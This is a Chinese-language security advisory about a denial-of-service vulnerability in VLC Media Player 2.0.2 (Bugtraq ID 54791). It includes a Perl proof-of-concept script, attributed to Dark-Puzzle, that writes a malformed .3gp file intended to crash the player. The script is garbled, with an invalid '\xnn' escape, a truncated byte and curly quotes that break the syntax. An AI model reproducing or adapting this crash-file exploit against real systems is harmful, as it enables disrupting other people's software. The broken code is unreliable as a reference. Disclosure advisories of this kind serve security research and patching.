受影响系统:
VideoLAN VLC Media Player 2.0.2
描述:
BUGTRAQ ID: 54791
VLC Media Player是多媒体播放器(最初命名为VideoLAN客户端)是VideoLAN计划的多媒体播放器。
VLC Media Player 2.0.2及其他版本在实现上存在拒绝服务漏洞,成功利用可允许攻击者造成受影响应用崩溃。
<*来源:Dark-Puzzle
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Dark-Puzzle ()提供了如下测试方法:
#!/usr/bin/perl
my $a =”\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00″;
my $b =”\x00\x00\x00\xnn\x66\x74\x79\x70\x33\x67\x70″;
my $c =”\x62\x6\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x68\x65\x61\x64\x65\x72\x20\x61\x6e\x64\x20\x74\x68\x65\x20\x66\x6f\x6f\x74\x65\x72\x20\x74\x68\x65\x72\x65\x27\x73\x20\x64\x61\x72\x6b\x2d\x70\x75\x7a\x7a\x6c\x65″;
my $d =”\x33\x67\x70″;
my $file = “darkpuzzle.3gp”;
open ($File, “>$file”);
print $File $a,$b,$c,$d;
close ($File);
建议:
厂商补丁:
VideoLAN
——–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
评论关闭。